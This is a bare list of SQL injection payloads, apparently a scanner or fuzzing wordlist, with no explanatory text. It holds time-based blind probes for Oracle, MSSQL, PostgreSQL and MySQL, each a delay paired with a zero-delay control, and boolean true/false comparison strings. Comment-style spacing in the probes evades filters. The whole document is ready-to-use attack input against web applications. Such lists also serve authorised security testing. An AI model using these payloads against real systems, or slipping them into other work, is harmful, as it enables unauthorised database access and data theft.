'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',0)='t

'and(select+1)>0waitfor/**/delay'0:0:2

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(2))>'0

'/**/and(select'1'from/**/pg_sleep(0))>'0

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

"and"s"="z

"and"u"="u

"and"q"="z

"and"p"="p

"and"g"="g

"and"l"="l

"and"c"="b

"and"g"="g

'and'x'='x

'and'g'='g